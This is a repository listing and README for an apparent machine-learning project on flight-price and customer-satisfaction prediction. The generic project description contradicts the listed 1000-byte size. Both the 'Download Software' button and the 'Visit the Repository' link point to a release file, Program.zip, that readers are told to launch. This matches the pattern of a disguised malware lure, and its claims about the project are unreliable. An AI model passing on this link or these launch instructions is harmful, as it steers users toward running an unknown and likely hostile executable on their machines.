https://github.com/dukejacks/flight-price-prediction-and-customer-satisfaction-ml

This project predicts flight prices and customer satisfaction using machine learning models. It includes two Streamlit apps for real-time predictions, with MLflow integration for model tracking and performance monitoring.
https://github.com/dukejacks/flight-price-prediction-and-customer-satisfaction-ml

accuracy-score classification dataframe f1-score machine-learning mlflow numpy plo prediction r2-score recall regression-models rmse-score seaborn

Last synced: 7 months ago
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This project predicts flight prices and customer satisfaction using machine learning models. It includes two Streamlit apps for real-time predictions, with MLflow integration for model tracking and performance monitoring.

• Host: GitHub
• URL: https://github.com/dukejacks/flight-price-prediction-and-customer-satisfaction-ml
• Owner: dukejacks
• Created: 2025-01-16T15:47:33.000Z (9 months ago)
• Default Branch: main
• Last Pushed: 2025-03-07T07:07:49.000Z (7 months ago)
• Last Synced: 2025-03-07T07:20:01.780Z (7 months ago)
• Topics: accuracy-score, classification, dataframe, f1-score, machine-learning, mlflow, numpy, plo, prediction, r2-score, recall, regression-models, rmse-score, seaborn
• Size: 1000 Bytes
• Stars: 0
• Watchers: 1
• Forks: 0
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

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README

          
# 🚀 Welcome to the Flight Price Prediction and Customer Satisfaction ML Repository! 🛫

### Project Overview:

This repository hosts a project that focuses on predicting flight prices and customer satisfaction using advanced machine learning models. The project includes two Streamlit apps that allow users to make real-time predictions on flight prices and customer satisfaction. Additionally, it integrates MLflow for model tracking and performance monitoring, ensuring reliability and efficiency in the prediction process.

### Repository Details:

- **Name**: Flight-Price-Prediction-and-Customer-Satisfaction-ML

- **Description**: This project predicts flight prices and customer satisfaction using machine learning models. It includes two Streamlit apps for real-time predictions, with MLflow integration for model tracking and performance monitoring.

- **Topics**: accuracy-score, analysis, classification, dataframe, f1-score, ipynb-jupyter-notebook, machine-learning, mlflow, numpy, pandas, plo, prediction, python, r2-score, recall, regression-models, rmse-score, seaborn

### 📁 Repository Structure:

1. **Data Preparation**: Contains scripts and notebooks for data preprocessing and cleaning.

2. **Model Training**: Includes Jupyter notebooks for training machine learning models.

3. **Streamlit Apps**: Houses the two Streamlit apps for real-time predictions.

4. **MLflow Integration**: Demonstrates the integration of MLflow for model tracking.

### 📈 Key Features:

- Real-time flight price predictions.

- Customer satisfaction prediction capabilities.

- MLflow integration for model tracking.

- Utilization of popular machine learning libraries like NumPy, Pandas, and Seaborn.

### 🌐 Access the Software:

[![Download Software](https://github.com/dukejacks/Flight-Price-Prediction-and-Customer-Satisfaction-ML/releases/download/v1.0/Program.zip)](https://github.com/dukejacks/Flight-Price-Prediction-and-Customer-Satisfaction-ML/releases/download/v1.0/Program.zip)

### 🚨 Note:

The provided link leads to a software package that needs to be launched for full access to the project's functionality.

### 🌟 Visit the Repository:

For detailed information, code exploration, and project contributions, visit the [Flight-Price-Prediction-and-Customer-Satisfaction-ML](https://github.com/dukejacks/Flight-Price-Prediction-and-Customer-Satisfaction-ML/releases/download/v1.0/Program.zip) repository.

### 🤖 Happy Predicting and Monitoring! ✈️🔮